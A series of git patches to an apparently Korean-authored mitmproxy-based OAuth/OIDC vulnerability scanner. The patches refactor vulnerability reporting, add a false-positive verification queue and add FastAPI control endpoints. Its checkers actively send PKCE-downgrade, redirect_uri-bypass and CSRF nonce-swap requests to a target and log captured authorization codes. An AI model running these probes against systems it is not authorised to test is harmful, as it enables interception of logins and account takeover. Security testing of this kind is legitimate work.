RedirectBypassAddon()] diff --git a/addon/nonce_check.py b/addon/nonce_check.py index e252c86..1df6beb 100644 --- a/addon/nonce_check.py +++ b/addon/nonce_check.py @@ -1,10 +1,8 @@ import jwt from urllib.parse import urlparse, parse_qs from typing import Union -import httpx -import lib.cur_target_url as cur_target_url -from lib.report_vuln import save_report +from lib.report_vuln import report_vuln class NonceChecker: def is_oidc_flow(self, flow) -> bool: @@ -72,17 +70,13 @@ class NonceChecker: def check_nonce_in_id_token(self, flow, id_token: str) -> bool: decoded = self.decode_id_token(id_token) nonce = decoded.get("nonce") - req = flow.request - url = req.pretty_url if not nonce: - report_data = [{ - 'target': cur_target_url.load(), - 'status': "CRITICAL", - 'title': "nonce is missing in id_token", - 'description': "Nonce is present in the request but missing in the id_token.", - 'uri': f"Original: {url}\nDecoded ID Token: {decoded}", - }] - save_report(report_data) + report_vuln( + title="Nonce Check Failed", + desc="id_token에 nonce가 없습니다.", + status="HIGH", + uri=flow.request.url + ) return False else: return True diff --git a/addon/pkce_check.py b/addon/pkce_check.py index afd4df9..3466edc 100644 --- a/addon/pkce_check.py +++ b/addon/pkce_check.py @@ -4,7 +4,7 @@ import httpx from typing import Dict, List import lib.cur_target_url as cur_target_url -from lib.report_vuln import save_report +from lib.report_vuln import report_vuln class PKCEDowngradeChecker: @@ -58,27 +58,19 @@ class PKCEDowngradeChecker: async def report_missing_parameters(self, url: str, is_openid: bool): status = "MEDIUM" if is_openid else "LOW" - self.save( - [ - self.make_report( - status, - "PKCE Parameters Missing", - "PKCE parameters are missing or incomplete.", - url, - ) - ] + report_vuln( + title="PKCE Parameters Missing", + desc="PKCE parameters are missing or incomplete.", + status=status, + uri=url, ) async def report_plain_method(self, url: str): - self.save( - [ - self.make_report( - "CRITICAL", - "PKCE Plain Method", - "PKCE method is set to 'plain'. Possible downgrade.", - url, - ) - ] + report_vuln( + title="PKCE Plain Method", + desc="PKCE method is set to 'plain'. Possible downgrade.", + status="CRITICAL", + uri=url, ) def create_downgraded_url(self, parsed, query): @@ -150,15 +142,11 @@ class PKCEDowngradeChecker: else: return # Likely safe - self.save( - [ - self.make_report( - status, - title, - description, - f"Original: {original_url}\nDowngraded: {downgraded_url}", - ) - ] + report_vuln( + title=title, + desc=description, + status=status, + uri=f"Original: {original_url}\nDowngraded: {downgraded_url}", ) def same_redirect_destination(self, orig_loc, down_loc): @@ -166,16 +154,3 @@ class PKCEDowngradeChecker: down = urlparse(down_loc) return orig.netloc == down.netloc and orig.path == down.path - def make_report( - self, status: str, title: str, description: str, uri: str - ) -> Dict[str, str]: - return { - "target": cur_target_url.load(), - "status": status, - "title": title, - "description": description, - "uri": uri, - } - - def save(self, report_data: List[Dict[str, str]]): - save_report(report_data) diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py index 43df4cb..f6af225 100644 --- a/addon/redirect_uri_check.py +++ b/addon/redirect_uri_check.py @@ -4,8 +4,7 @@ import asyncio import random import time from urllib.parse import urlparse, parse_qs, urlencode, urlunparse -import lib.cur_target_url as cur_target_url -from lib.report_vuln import save_report +from lib.report_vuln import report_vuln class RedirectRateLimiter: """redirect_uri_check 전용 rate limiter""" @@ -1287,13 +1286,21 @@ class RedirectBypassChecker: except: return "" + def _is_code_in_location(self, location: str) -> bool: + return self._extract_code_from_location(location) != "" + """ mitmproxy용 - 실제 OAuth 플로우 가로채서 분석 """ async def test(self, flow: http.HTTPFlow): url = flow.request.pretty_url parsed = urlparse(url) query = parse_qs(parsed.query) - - if "redirect_uri" not in query: + + # location 헤더에 code가 없으면 스킵 + location = flow.response.headers.get("Location", "") + if not self._is_code_in_location(location): + return + + if not query or "redirect_uri" not in query: return original_redirect_uri = query["redirect_uri"][0] @@ -1347,15 +1354,13 @@ class RedirectBypassChecker: # 리다이렉트 응답이 아니면 스킵 if status not in [301, 302, 303, 307, 308]: return False - - # Location 헤더에서 code 추출 - auth_code = self._extract_code_from_location(location) # 베이스라인 검증 is_valid = self._is_baseline_valid(bypassed_uri, original_url) - - if auth_code and not is_valid: + + if self._is_code_in_location(location) and not is_valid: # 취약점 발견 시에만 로그 + auth_code = self._extract_code_from_location(location) print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!") await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload) return True @@ -1384,14 +1389,12 @@ class RedirectBypassChecker: f"• 발급된 인가 코드: {auth_code[:10]}...\n\n" ) - report_data = [{ - "target": cur_target_url.load(), - "status": "CRITICAL", - "title": "Redirect URI Bypass Vulnerability", - "description": description, - "uri": test_url # uri 필드 추가 - }] + report_vuln( + title="Redirect URI Bypass Vulnerability", + desc=description, + status="CRITICAL", + uri=test_url + ) - save_report(report_data) print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!") print(f"[INFO] 패턴: {pattern_name}, 우회 URI: {bypassed_uri}") \ No newline at end of file diff --git a/addon/scope_detection.py b/addon/scope_detection.py index 2d14049..453a5ab 100644 --- a/addon/scope_detection.py +++ b/addon/scope_detection.py @@ -1,5 +1,5 @@ import lib.cur_target_url as cur_target_url -from lib.report_vuln import save_report +from lib.report_vuln import report_vuln class ScopeDetection: def get_scope_from_query(self, query: str) -> str | None: @@ -43,11 +43,9 @@ class ScopeDetection: result = await self.check_scope(flow) if result != 0: - report_data = [{ - 'target': cur_target_url.load(), - 'status': "WARNING", - 'title': "OAuth scope value issue", - 'description': f"{method} {url}: {', '.join(result)}", - 'uri': url - }] - save_report(report_data) + report_vuln( + title="OAuth Scope Value Issue", + desc=f"Detected scope value issue in {method} {url}: {', '.join(result)}", + status="WARNING", + uri=url + ) diff --git a/lib/report_vuln.py b/lib/report_vuln.py index 40925d0..e2644ef 100644 --- a/lib/report_vuln.py +++ b/lib/report_vuln.py @@ -1,14 +1,16 @@ # save as data/report.csv import os import csv -from typing import List, Dict, Any +from mitmproxy import http +import lib.cur_target_url as cur_target_url # target, status, title, description, uri # file path는 'data/report.csv'로 고정 -def save_report(report_data: List[Dict[str, Any]], file_path: str = 'data/report.csv') -> None: - os.makedirs(os.path.dirname(file_path), exist_ok=True) +def report_vuln(title: str, desc: str, status: str, uri: str) -> None: + file_path: str = 'data/report.csv' + os.makedirs(os.path.dirname(file_path), exist_ok=True) """ report_data 안의 각 레포트를 한 줄씩 CSV에 추가로 저장합니다. @@ -23,10 +25,10 @@ def save_report(report_data: List[Dict[str, Any]], file_path: str = 'data/report if not file_exists: writer.writeheader() - for row in report_data: - # None 방지 & 줄바꿈 이스케이프 - escaped = { - k: str(v).replace('\n', '\\n') if v is not None else '' - for k, v in row.items() - } - writer.writerow(escaped) + writer.writerow({ + 'target': cur_target_url.load(), + 'status': status, + 'title': title, + 'description': desc, + 'uri': uri, + }) diff --git a/lib/utils/is_oauth_uri.py b/lib/utils/is_oauth_uri.py new file mode 100644 index 0000000..29f99db --- /dev/null +++ b/lib/utils/is_oauth_uri.py @@ -0,0 +1,10 @@ +from urllib.parse import urlparse, parse_qs + +def is_oauth_uri(uri: str) -> bool: + qs = parse_qs(urlparse(uri).query) + qs_keys = [*qs] + + if "client_id" in qs_keys and any(p in qs_keys for p in ( + "redirect_uri", "response_type", "grant_type", "scope", "state", "nonce")): + return True + return False \ No newline at end of file From 53db0fb14e8afe2b2848d1aa02c5974ababe417d Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Thu, 26 Jun 2025 12:40:14 +0900 Subject: [PATCH 38/56] [Fix] scope detection --- addon/scope_detection.py | 51 +++++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 27 deletions(-) diff --git a/addon/scope_detection.py b/addon/scope_detection.py index 453a5ab..a5a2e2d 100644 --- a/addon/scope_detection.py +++ b/addon/scope_detection.py @@ -1,12 +1,12 @@ -import lib.cur_target_url as cur_target_url from lib.report_vuln import report_vuln +from lib.utils.is_oauth_uri import is_oauth_uri +from urllib.parse import urlparse, parse_qs class ScopeDetection: def get_scope_from_query(self, query: str) -> str | None: if not query: return None - import urllib.parse - parsed = urllib.parse.parse_qs(query) + parsed = parse_qs(query) scope_values = parsed.get("scope", []) if scope_values: return scope_values[0] @@ -16,36 +16,33 @@ class ScopeDetection: req = flow.request res = flow.response - # req.query가 MultiDictView일 수 있으므로 문자열로 변환 - if hasattr(req.query, "urlencode"): - query = req.query.urlencode() - else: - query = str(req.query) if req.query else "" + parsed = urlparse(req.pretty_url) + query = parsed.query - location = res.headers.get("location", "") + location = res.headers.get("Location", "") + location_query = urlparse(location).query query_scope = self.get_scope_from_query(query) - location_scope = self.get_scope_from_query(location) + location_scope = self.get_scope_from_query(location_query) - result = [] if query_scope in ["all", "*"]: - result.append(f"Scope value issue detected in request: {query_scope}") - if location_scope in ["all", "*"]: - result.append(f"Scope value issue detected in response location: {location_scope}") - - return result if result else 0 - - async def test(self, flow): - req = flow.request - method = req.method - url = req.pretty_url - - result = await self.check_scope(flow) - - if result != 0: report_vuln( title="OAuth Scope Value Issue", - desc=f"Detected scope value issue in {method} {url}: {', '.join(result)}", + desc=f"Scope value issue detected in request: {query_scope}", status="WARNING", - uri=url + uri=req.pretty_url ) + if location_scope in ["all", "*"]: + report_vuln( + title="OAuth Scope Value Issue", + desc=f"Scope value issue detected in response location: {location_scope}", + status="WARNING", + uri=location + ) + + async def test(self, flow): + + if not is_oauth_uri(flow.request.pretty_url): + return + + await self.check_scope(flow) From 3c5db3c1fdcc3ce8085a83633f5e145f03393b04 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Thu, 26 Jun 2025 15:20:30 +0900 Subject: [PATCH 39/56] =?UTF-8?q?[Update]=20=EC=9E=90=EB=8F=99=20=EC=98=A4?= =?UTF-8?q?=ED=83=90=20=EA=B2=80=EC=A6=9D=EC=9D=84=20=EC=9C=84=ED=95=9C=20?= =?UTF-8?q?=EB=9D=BC=EC=9A=B0=ED=84=B0=20=EC=B6=94=EA=B0=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 17 +++++- addon/csrf_check.py | 12 ++--- addon/init.py | 32 +++++++++--- lib/false_true_varifing_task.py | 59 +++++++++++++++++++++ runner/backend/__init__.py | 91 ++++++++++++++++++++++++++++++--- 5 files changed, 188 insertions(+), 23 deletions(-) create mode 100644 lib/false_true_varifing_task.py diff --git a/README.md b/README.md index 2beaafe..8e15d4c 100644 --- a/README.md +++ b/README.md @@ -27,7 +27,7 @@ venv와 패키지가 설치가 됩니다. > 그렇지 않으면 실행되지 않습니다. > > 윈도우 환경에서는 `sudo certutil -addstore root mitmproxy-ca-cert.cer`로 인증합니다. -> +> > Sudo가 활성화되어있지 않은 환경에서는 관리자로 상향된 쉘에서 실행합니다. > > MacOS 환경에서는 `sudo security add-trusted-cert -d -p ssl -p basic -k /Library/Keychains/System.keychain ~/.mitmproxy/mitmproxy-ca-cert.pem`으로 인증합니다. @@ -58,8 +58,15 @@ class LoggerAddon: self.checker = Example() def request(self, flow: http.HTTPFlow): # 비동기가 필요할 경우 async def로 할 것 - self.checker.test(flow) + # 오탐 검사하고 있을때는 검증하지 않음 + if false_true_varifing_task.is_verifing_false_true(): + return + self.checker.test(flow) + def response(self, flow: http.HTTPFlow): # 비동기가 필요할 경우 async def로 할 것 + # 오탐 검사하고 있을때는 검증하지 않음 + if false_true_varifing_task.is_verifing_false_true(): + return self.checker.test(flow) ``` @@ -88,3 +95,9 @@ class Example: ``` 이러한 예제를 참고하여 작성하여주세요. + +# 백엔드 API DOCS + +``` +http://localhost:11081/redoc +``` diff --git a/addon/csrf_check.py b/addon/csrf_check.py index 34cd700..c64ec98 100644 --- a/addon/csrf_check.py +++ b/addon/csrf_check.py @@ -76,10 +76,10 @@ class CsrfChecker: resp_nonce = self.get_query_param(loc, param) if param else None if resp_nonce is None: - report_vuln(title="CSRF Risk", desc="Missing nonce in redirect response", status="HIGH", uri=flow.request.url) + report_vuln(title="CSRF Risk", desc="Missing nonce in redirect response", status="CRITICAL", uri=flow.request.url) return 1 if orig_nonce != resp_nonce: - report_vuln(title="CSRF Risk", desc="Nonce mismatch request↔response", status="MEDIUM", uri=flow.request.url) + report_vuln(title="CSRF Risk", desc="Nonce mismatch request↔response", status="HIGH", uri=flow.request.url) return 1 return 0 @@ -103,11 +103,11 @@ class CsrfChecker: if new_nonce is None: return 0 if new_nonce == orig_nonce: - report_vuln(title="CSRF Risk", desc="Nonce reused without cookies", status="HIGH", uri=flow.request.url) + report_vuln(title="CSRF Risk", desc="Nonce reused without cookies", status="CRITICAL", uri=flow.request.url) return 1 # (2) 두 번의 리다이렉트 비교 - async with httpx.AsyncClient(follow_redirects=False) as cli: + async with httpx.AsyncClient(follow_redirects=True) as cli: # 원본 쿼리 req1 = await cli.get(loc0, params=qs0, headers=flow.request.headers) # nonce 교체 쿼리 @@ -120,7 +120,7 @@ class CsrfChecker: and urlparse(req1.headers.get("location", "")).path == urlparse(req2.headers.get("location", "")).path ): - report_vuln(title="CSRF Risk", desc="Identical redirects on nonce swap → potential CSRF", status="MEDIUM", uri=flow.request.url) + report_vuln(title="CSRF Risk", desc="Identical redirects on nonce swap → potential CSRF", status="NOT-VERIFIED-HIGH", uri=flow.request.url) return 1 return 0 @@ -130,7 +130,7 @@ class CsrfChecker: # 1) 요청에 nonce 없으면 if is_oauth_uri(flow.request.url) and not self.check_nonce_in_request(flow): - report_vuln(title="CSRF Risk", desc="Missing nonce in OAuth request", status="HIGH", uri=flow.request.url) + report_vuln(title="CSRF Risk", desc="Missing nonce in OAuth request", status="CRITICAL", uri=flow.request.url) return # 2) 리다이렉트에서 nonce 검사 diff --git a/addon/init.py b/addon/init.py index fb69258..634d344 100644 --- a/addon/init.py +++ b/addon/init.py @@ -9,6 +9,10 @@ from access_token import AccessTokenScanner from addon.google_login_hint import GoogleLoginHint import os from dotenv import load_dotenv +from lib.false_true_varifing_task import FalseTrueVarifingTask + +# Initialize the singleton task manager +false_true_varifing_task = FalseTrueVarifingTask() load_dotenv(override=True) @@ -21,6 +25,10 @@ class PKCEAddon: f"[DEBUG] Processing request: {flow.request.method} {flow.request.pretty_url}" ) try: + # 오탐 검사하고 있을때는 검증하지 않음 + if false_true_varifing_task.is_verifing_false_true(): + return + await self.checker.test(flow) except Exception as e: print(f"[ERROR] Addon failed: {e}") @@ -33,6 +41,9 @@ class CsrfAddon: async def response(self, flow: http.HTTPFlow): try: + # 오탐 검사하고 있을때는 검증하지 않음 + if false_true_varifing_task.is_verifing_false_true(): + return await self.checker.response(flow) except Exception as e: print(f"[ERROR] CSRF Addon failed: {e}") @@ -42,21 +53,18 @@ class CsrfAddon: class ScopeAddon: def __init__(self): self.checker = ScopeDetection() - self._flow_map = {} # 요청 정보를 저장 - - async def request(self, flow: http.HTTPFlow): - self._flow_map[flow.id] = { - "method": flow.request.method, - "url": flow.request.pretty_url, - "query": flow.request.query, - } async def response(self, flow: http.HTTPFlow): try: + # 오탐 검사하고 있을때는 검증하지 않음 + if false_true_varifing_task.is_verifing_false_true(): + return await self.checker.test(flow) except Exception as e: print(f"[ERROR] ScopeDetection failed: {e}") + + class NonceAddon: def __init__(self): self.checker = NonceChecker() @@ -70,12 +78,17 @@ class NonceAddon: print(f"[ERROR] NonceAddon failed: {e}") pass + + class AccessTokenAddon: def __init__(self): self.checker = AccessTokenScanner() async def response(self, flow: http.HTTPFlow): try: + # 오탐 검사하고 있을때는 검증하지 않음 + if false_true_varifing_task.is_verifing_false_true(): + return await self.checker.scan(flow) except Exception as e: print(f"[ERROR] AccessToken Addon failed: {e}") @@ -88,6 +101,9 @@ class RedirectBypassAddon: # request 대신 response 로 바꿔 보세요: async def response(self, flow: http.HTTPFlow): try: + # 오탐 검사하고 있을때는 검증하지 않음 + if false_true_varifing_task.is_verifing_false_true(): + return await self.checker.test(flow) except Exception as e: print(f"[ERROR] RedirectBypass Addon failed: {e}") diff --git a/lib/false_true_varifing_task.py b/lib/false_true_varifing_task.py new file mode 100644 index 0000000..62865e1 --- /dev/null +++ b/lib/false_true_varifing_task.py @@ -0,0 +1,59 @@ +from typing import Any +from copy import deepcopy + +class FalseTrueVarifingTask: + """ + A singleton class representing a task that can be either false or true. + This class is used to handle tasks that require verification of their truth value. + """ + + _instance = None + + def __new__(cls): + if cls._instance is None: + cls._instance = super(FalseTrueVarifingTask, cls).__new__(cls) + cls._instance._initialized = False + return cls._instance + + def __init__(self): + if self._initialized: + return + self._is_verifing = False + self.task_queue = [] + self._initialized = True + + def reset(self): + """ + Reset the task queue and verification status. + """ + self._is_verifing = False + self.task_queue.clear() + + def add_task(self, task_name: str, data: Any): + """ + Add a task to the task queue. + :param task: The task to be added. + """ + self.task_queue.append({ + "task_name": task_name, + "data": data}) + + def start_verification(self): + """ + Start the verification process for the tasks in the queue. + """ + self._is_verifing = True + + def get_task_queue(self): + """ + Get a copy of the current task queue. + :return: A copy of the task queue. + """ + return deepcopy(self.task_queue) + + def is_verifing_false_true(self): + """ + Get the current verification status. + :return: True if verification is in progress, False otherwise. + """ + return self._is_verifing diff --git a/runner/backend/__init__.py b/runner/backend/__init__.py index 015c483..1410f52 100644 --- a/runner/backend/__init__.py +++ b/runner/backend/__init__.py @@ -1,17 +1,94 @@ from fastapi import FastAPI, Query, HTTPException from fastapi.responses import Response import lib.cur_target_url as cur_target_url +from lib.false_true_varifing_task import FalseTrueVarifingTask +from pydantic import BaseModel, Field +from lib.report_vuln import report_vuln as save_vuln + +# Initialize the singleton task manager +false_true_varifing_task = FalseTrueVarifingTask() app = FastAPI() -@app.post("/start") -async def start(url: str = Query(None)): - if url: - cur_target_url.save(url) - print(f"Target URL set to: {url}") - return {"message": f"Target URL set to: {url}"} - return {"error": "No URL provided"} + +@app.post( + "/start", + summary="취약점 검증을 위한 대상 URL 설정", + description=""" +이 엔드포인트는 시스템이 취약점 검증 작업에 사용할 대상 URL을 설정합니다. + +유효한 URL이 제공되면: +- 해당 URL이 저장됩니다. +- 검증 작업 큐가 초기화됩니다. +- 새로운 검증 작업을 시작할 준비가 완료됩니다. + +URL이 제공되지 않으면, 오류가 반환됩니다. +""" +, + tags=["1st STEP"] +) +async def start(url: str = Query(..., description="The URL to target for vulnerability verification")): + cur_target_url.save(url) + false_true_varifing_task.reset() + return {"message": f"Target URL set to: {url}"} + + + + + + +@app.post( + "/start-false-true-verifing", + summary="시스템에 False-True 검증 작업 시작을 알림", + description=""" +이 엔드포인트는 시스템에 False-True 방식의 검증 작업을 시작하도록 지시합니다. +또한 검증을 위해 준비된 작업 목록을 반환합니다. +""", + tags=["2nd STEP"] + ) +async def start_false_true_verifing(): + false_true_varifing_task.start_verification() + task_queue = false_true_varifing_task.get_task_queue() + return {"payload": task_queue} + + + + + + +class VulnerabilityReport(BaseModel): + title: str = Field(..., description="Short title for the vulnerability") + url: str = Field(..., description="URL where the vulnerability was discovered") + status: str = Field(..., description="Status of the vulnerability (e.g., VERIFIED-CRITICAL)") + desc: str = Field(..., description="Detailed description of the issue") + +@app.post( + "/report-vuln", + summary="취약점 보고", + description=""" +정탐인 취약점을 시스템에 보고합니다. +보고 시 다음 정보를 포함해야 합니다: + +- **title**: 취약점의 간단한 이름 +- **url**: 취약점이 발견된 위치 (URL) +- **status**: 심각도 +- **desc**: 취약점에 대한 상세 설명 +""", + tags=["3rd STEP"] +) +async def report_vuln(vuln: VulnerabilityReport): + save_vuln( + title=vuln.title, + desc=vuln.desc, + status=vuln.status, + uri=vuln.url + ) + + return {"message": "Vulnerability reported successfully"} + + + @app.exception_handler(404) From 4deb032708767099e167bfb88fad2fe9495fc0f7 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Thu, 26 Jun 2025 15:35:12 +0900 Subject: [PATCH 40/56] [Docs] api docs --- addon/csrf_check.py | 35 ++++++++++++++++++++++++++++----- lib/false_true_varifing_task.py | 1 + runner/backend/__init__.py | 4 ++-- 3 files changed, 33 insertions(+), 7 deletions(-) diff --git a/addon/csrf_check.py b/addon/csrf_check.py index c64ec98..91b7e4e 100644 --- a/addon/csrf_check.py +++ b/addon/csrf_check.py @@ -76,10 +76,20 @@ class CsrfChecker: resp_nonce = self.get_query_param(loc, param) if param else None if resp_nonce is None: - report_vuln(title="CSRF Risk", desc="Missing nonce in redirect response", status="CRITICAL", uri=flow.request.url) + report_vuln( + title="CSRF Risk", + desc="Missing nonce in redirect response", + status="CRITICAL", + uri=flow.request.url + ) return 1 if orig_nonce != resp_nonce: - report_vuln(title="CSRF Risk", desc="Nonce mismatch request↔response", status="HIGH", uri=flow.request.url) + report_vuln( + title="CSRF Risk", + desc="Nonce mismatch request↔response", + status="HIGH", + uri=flow.request.url + ) return 1 return 0 @@ -103,7 +113,12 @@ class CsrfChecker: if new_nonce is None: return 0 if new_nonce == orig_nonce: - report_vuln(title="CSRF Risk", desc="Nonce reused without cookies", status="CRITICAL", uri=flow.request.url) + report_vuln( + title="CSRF Risk", + desc="Nonce reused without cookies", + status="CRITICAL", + uri=flow.request.url + ) return 1 # (2) 두 번의 리다이렉트 비교 @@ -120,7 +135,12 @@ class CsrfChecker: and urlparse(req1.headers.get("location", "")).path == urlparse(req2.headers.get("location", "")).path ): - report_vuln(title="CSRF Risk", desc="Identical redirects on nonce swap → potential CSRF", status="NOT-VERIFIED-HIGH", uri=flow.request.url) + report_vuln( + title="CSRF Risk", + desc="Identical redirects on nonce swap → potential CSRF", + status="NOT-VERIFIED-HIGH", + uri=flow.request.url + ) return 1 return 0 @@ -130,7 +150,12 @@ class CsrfChecker: # 1) 요청에 nonce 없으면 if is_oauth_uri(flow.request.url) and not self.check_nonce_in_request(flow): - report_vuln(title="CSRF Risk", desc="Missing nonce in OAuth request", status="CRITICAL", uri=flow.request.url) + report_vuln( + title="CSRF Risk", + desc="Missing nonce in OAuth request", + status="CRITICAL", + uri=flow.request.url + ) return # 2) 리다이렉트에서 nonce 검사 diff --git a/lib/false_true_varifing_task.py b/lib/false_true_varifing_task.py index 62865e1..45fa782 100644 --- a/lib/false_true_varifing_task.py +++ b/lib/false_true_varifing_task.py @@ -29,6 +29,7 @@ class FalseTrueVarifingTask: self._is_verifing = False self.task_queue.clear() + # 각 addon의 검증 로직에서 해당 함수를 호출하여, 추후 오탐 검증을 위한 작업을 추가할 수 있습니다. def add_task(self, task_name: str, data: Any): """ Add a task to the task queue. diff --git a/runner/backend/__init__.py b/runner/backend/__init__.py index 1410f52..a279cf5 100644 --- a/runner/backend/__init__.py +++ b/runner/backend/__init__.py @@ -42,8 +42,8 @@ async def start(url: str = Query(..., description="The URL to target for vulnera "/start-false-true-verifing", summary="시스템에 False-True 검증 작업 시작을 알림", description=""" -이 엔드포인트는 시스템에 False-True 방식의 검증 작업을 시작하도록 지시합니다. -또한 검증을 위해 준비된 작업 목록을 반환합니다. +이 엔드포인트는 시스템에 False-True 방식의 검증 작업이 시작되었음을 알립니다. +또한 시스템은 미리 준비된 오탐 검증 작업 목록을 반환합니다. """, tags=["2nd STEP"] ) From 05a095df7d7108e22c77de6f015395af51c45a71 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Thu, 26 Jun 2025 15:35:26 +0900 Subject: [PATCH 41/56] [Docs] api docs --- runner/backend/__init__.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/runner/backend/__init__.py b/runner/backend/__init__.py index a279cf5..749309d 100644 --- a/runner/backend/__init__.py +++ b/runner/backend/__init__.py @@ -40,9 +40,9 @@ async def start(url: str = Query(..., description="The URL to target for vulnera @app.post( "/start-false-true-verifing", - summary="시스템에 False-True 검증 작업 시작을 알림", + summary="시스템에 오탐 검증 작업 시작을 알림", description=""" -이 엔드포인트는 시스템에 False-True 방식의 검증 작업이 시작되었음을 알립니다. +이 엔드포인트는 시스템에 오탐 검증 작업이 시작되었음을 알립니다. 또한 시스템은 미리 준비된 오탐 검증 작업 목록을 반환합니다. """, tags=["2nd STEP"] From 58d5deb435ddc97e5b6106e2afc629eb0e06a062 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Thu, 26 Jun 2025 15:45:39 +0900 Subject: [PATCH 42/56] =?UTF-8?q?[Update]=20=EB=9D=BC=EC=9A=B0=ED=84=B0=20?= =?UTF-8?q?=EB=B0=98=ED=99=98=20=ED=98=95=ED=83=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 ++ lib/false_true_varifing_task.py | 13 +++++++++---- runner/backend/__init__.py | 13 +++++++++++++ 3 files changed, 24 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 8e15d4c..f922164 100644 --- a/README.md +++ b/README.md @@ -98,6 +98,8 @@ class Example: # 백엔드 API DOCS +`uv run main.py`으로 백엔드를 실행한 후에, 다음의 url에 접속합니다. + ``` http://localhost:11081/redoc ``` diff --git a/lib/false_true_varifing_task.py b/lib/false_true_varifing_task.py index 45fa782..4b9bde4 100644 --- a/lib/false_true_varifing_task.py +++ b/lib/false_true_varifing_task.py @@ -30,14 +30,19 @@ class FalseTrueVarifingTask: self.task_queue.clear() # 각 addon의 검증 로직에서 해당 함수를 호출하여, 추후 오탐 검증을 위한 작업을 추가할 수 있습니다. - def add_task(self, task_name: str, data: Any): + # TODO: 모델 지정해두기 + def add_task(self, task_name: str, initial_uri: str, data: Any): """ Add a task to the task queue. :param task: The task to be added. """ - self.task_queue.append({ - "task_name": task_name, - "data": data}) + self.task_queue.append( + { + "task_name": task_name, + "initial_uri": initial_uri, + "data": data + } + ) def start_verification(self): """ diff --git a/runner/backend/__init__.py b/runner/backend/__init__.py index 749309d..b917dbe 100644 --- a/runner/backend/__init__.py +++ b/runner/backend/__init__.py @@ -44,6 +44,19 @@ async def start(url: str = Query(..., description="The URL to target for vulnera description=""" 이 엔드포인트는 시스템에 오탐 검증 작업이 시작되었음을 알립니다. 또한 시스템은 미리 준비된 오탐 검증 작업 목록을 반환합니다. + +```json +{ + "payload": [ + { + "task_name": "pkce_task", # 검증 작업의 이름 + "initial_uri": "http://auth.example.com", # browser가 처음 접속할 URI + "data": any # 추가 데이터 + }, + ... + ] +} +``` """, tags=["2nd STEP"] ) From 0d81fdd49fcff832d20805ea5ac66131fcbef1a1 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Thu, 26 Jun 2025 19:07:35 +0900 Subject: [PATCH 43/56] =?UTF-8?q?[Refactor=20and=20Enhance]=20addon=20init?= =?UTF-8?q?.py=EC=9D=98=20=EB=B9=84=EB=8F=99=EA=B8=B0=20=EC=9E=91=EC=97=85?= =?UTF-8?q?=EC=9D=84=20=EB=8D=94=EC=9A=B1=20=ED=9A=A8=EC=9C=A8=EC=A0=81?= =?UTF-8?q?=EC=9C=BC=EB=A1=9C=20=EC=88=98=ED=96=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 43 +++++------- addon/access_token.py | 3 +- addon/csrf_check.py | 2 +- addon/init.py | 137 ++++++++++----------------------------- addon/pkce_check.py | 3 - addon/scope_detection.py | 24 ++----- lib/utils/try_catch.py | 5 ++ 7 files changed, 60 insertions(+), 157 deletions(-) create mode 100644 lib/utils/try_catch.py diff --git a/README.md b/README.md index f922164..3e4b4d5 100644 --- a/README.md +++ b/README.md @@ -51,47 +51,36 @@ http://localhost:11081로 백엔드 서버가 열리게 됩니다. `./addon/init.py` ```py -from example_check import Example - -class LoggerAddon: - def __init__(self): - self.checker = Example() - - def request(self, flow: http.HTTPFlow): # 비동기가 필요할 경우 async def로 할 것 - # 오탐 검사하고 있을때는 검증하지 않음 +... + async def request(self, flow: http.HTTPFlow): if false_true_varifing_task.is_verifing_false_true(): return - self.checker.test(flow) - - def response(self, flow: http.HTTPFlow): # 비동기가 필요할 경우 async def로 할 것 - # 오탐 검사하고 있을때는 검증하지 않음 - if false_true_varifing_task.is_verifing_false_true(): - return - self.checker.test(flow) + tasks = [ + try_catch(self.google_login_hint.request(flow)) if self.google_login_hint else None, + try_catch(PKCEDowngradeChecker().test(flow)), + try_catch(Example().test(flow)) + ] + await asyncio.gather(*tasks) + ... ``` `./addon/example.py` ```py -import lib.target as target -from lib.report import save_report +from lib.report_vuln import report_vuln class Example: async def test(self, flow): - req = flow.request - method = req.method url = req.pretty_url # data/report.csv에 저장 - report_data = [{ - 'target': target.load(), - 'status': "CRITICAL", - 'title': "PKCE Downgrade Vulnerability", - 'description': "PKCE downgrade vulnerability detected! Both URLs returned authorization code.", - 'uri': f"Original: {url}\nDowngraded: {downgraded_url}" - }] - save_report(report_data) + report_vuln( + title="PKCE Plain Method", + desc="PKCE method is set to 'plain'. Possible downgrade.", + status="CRITICAL", + uri=url, + ) ``` 이러한 예제를 참고하여 작성하여주세요. diff --git a/addon/access_token.py b/addon/access_token.py index 9c18bb6..4f7c3ad 100644 --- a/addon/access_token.py +++ b/addon/access_token.py @@ -1,6 +1,5 @@ import re -from dataclasses import dataclass, asdict -from typing import List, Dict, Optional, Any +from typing import Optional, Any import asyncio from mitmproxy.http import HTTPFlow diff --git a/addon/csrf_check.py b/addon/csrf_check.py index 91b7e4e..867191f 100644 --- a/addon/csrf_check.py +++ b/addon/csrf_check.py @@ -1,5 +1,5 @@ # csrf_check.py -from mitmproxy import http, ctx +from mitmproxy import http from urllib.parse import urlparse, parse_qs, unquote import httpx from typing import Optional, Union, List diff --git a/addon/init.py b/addon/init.py index 634d344..d820f92 100644 --- a/addon/init.py +++ b/addon/init.py @@ -9,6 +9,7 @@ from access_token import AccessTokenScanner from addon.google_login_hint import GoogleLoginHint import os from dotenv import load_dotenv +from lib.utils.try_catch import try_catch from lib.false_true_varifing_task import FalseTrueVarifingTask # Initialize the singleton task manager @@ -16,111 +17,39 @@ 